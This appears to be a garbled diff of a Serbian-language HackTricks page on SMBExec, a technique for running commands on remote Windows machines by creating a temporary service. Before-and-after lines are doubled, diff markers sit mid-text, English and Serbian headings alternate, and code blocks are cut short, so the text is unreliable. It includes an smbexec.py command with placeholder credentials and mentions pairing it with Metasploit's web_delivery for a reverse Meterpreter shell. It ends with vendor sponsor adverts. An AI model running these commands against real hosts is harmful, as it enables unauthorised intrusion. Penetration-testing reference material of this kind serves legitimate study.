**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## How it Works
## Kako to funkcioniše
**Smbexec** je alat koji se koristi za daljinsko izvršavanje komandi na Windows sistemima, sličan **Psexec**, ali izbegava postavljanje bilo kojih zlonamernih datoteka na ciljni sistem.
### Key Points about **SMBExec**
### Ključne tačke o **SMBExec**
- Deluje tako što kreira privremenu uslugu (na primer, "BTOBTO") na ciljnim mašinama za izvršavanje komandi putem cmd.exe (%COMSPEC%), bez ispuštanja bilo kakvih binarnih datoteka.
- Deluje tako što kreira privremenu uslugu (na primer, "BTOBTO") na ciljnim mašinama kako bi izvršio komande putem cmd.exe (%COMSPEC%), bez ispuštanja bilo kakvih binarnih datoteka.
- I pored svog diskretnog pristupa, generiše dnevničke zapise za svaku izvršenu komandu, nudeći oblik neinteraktivnog "shell-a".
- Komanda za povezivanje koristeći **Smbexec** izgleda ovako:
```bash
@ -38,8 +38,8 @@ smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
### Izvršavanje Komandi Bez Binarnih Fajlova
- **Smbexec** omogućava direktno izvršavanje komandi kroz binPaths servisa, eliminišući potrebu za fizičkim binarnim fajlovima na meti.
- Ova metoda je korisna za izvršavanje jednokratnih komandi na Windows meti. Na primer, kombinovanjem sa Metasploit-ovim `web_delivery` modulom omogućava izvršavanje PowerShell-targetiranog obrnuto Meterpreter payload-a.
- Kreiranjem udaljenog servisa na napadačevoj mašini sa binPath postavljenim da izvrši pruženu komandu kroz cmd.exe, moguće je uspešno izvršiti payload, postizajući povratne informacije i izvršavanje payload-a sa Metasploit slušačem, čak i ako dođe do grešaka u odgovoru servisa.
- Ova metoda je korisna za izvršavanje jednokratnih komandi na Windows meti. Na primer, kombinovanjem sa Metasploit-ovim `web_delivery` modulom omogućava se izvršavanje PowerShell-targetiranog obrnuto Meterpreter payload-a.
- Kreiranjem udaljenog servisa na napadačevoj mašini sa binPath postavljenim da izvrši pruženu komandu kroz cmd.exe, moguće je uspešno izvršiti payload, ostvarujući povratne informacije i izvršavanje payload-a sa Metasploit slušačem, čak i ako dođe do grešaka u odgovoru servisa.
### Primer Komandi
@ -56,9 +56,9 @@ FOr further details check [https://blog.ropnop.com/using-credentials-to-own-wind
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera na vaše web aplikacije, mrežu i oblak
**Dobijte perspektivu hakera o vašim web aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}